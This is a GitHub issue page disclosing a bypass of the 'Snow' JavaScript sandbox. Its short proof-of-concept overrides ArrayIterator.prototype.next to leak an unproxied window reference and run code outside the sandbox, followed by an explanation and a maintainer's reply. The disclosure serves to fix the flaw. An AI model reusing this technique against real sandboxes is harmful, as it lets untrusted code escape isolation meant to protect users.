You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
// get the original ArrayIterator.prototype.next methodvarnext=[].values().__proto__.next;// overwrite the method[].values().__proto__.next=function(){varx=next.call(this);varwin=x?.value;// leak the window referenceif(win?.toString()==='[object Window]'){win.location='about:blank';setTimeout(()=>win.alert(1337),100);}returnx;}open().location;
It defines a @@iterator symbol used to generate an ArrayIterator object, which Array.from() calls internally. We can overwrite ArrayIterator.prototype.next to leak the function arguments passed to Array.from, one of which is an unproxied reference to the window that can be used to execute unsandboxed JS.
The text was updated successfully, but these errors were encountered:
terjanq
changed the title
Snow can be polluted with native Prototype Pollution
Snow can be bypassed with native Prototype Pollution
Oct 2, 2023
Thanks for contributing. The main maintainer of this project is temporary unavailable, but we'll definitely get back to this.
The plan is to tighten some limitations on DOM usage that Snow already introduces and fixing the missing overrides where possible. Some of the work has started (see PR tab)
PoC:
Vulnerable path:
from(arguments)
insnow/src/log.js
Line 16 in 1c8faa8
opened
window reference toconsole.error
insnow/src/proxy.js
Lines 48 to 50 in 1c8faa8
Description
Accessing the
arguments
variable inside a function scope returns an array-like object which looks like the following:It defines a
@@iterator
symbol used to generate anArrayIterator
object, whichArray.from()
calls internally. We can overwriteArrayIterator.prototype.next
to leak the function arguments passed toArray.from
, one of which is an unproxied reference to the window that can be used to execute unsandboxed JS.The text was updated successfully, but these errors were encountered: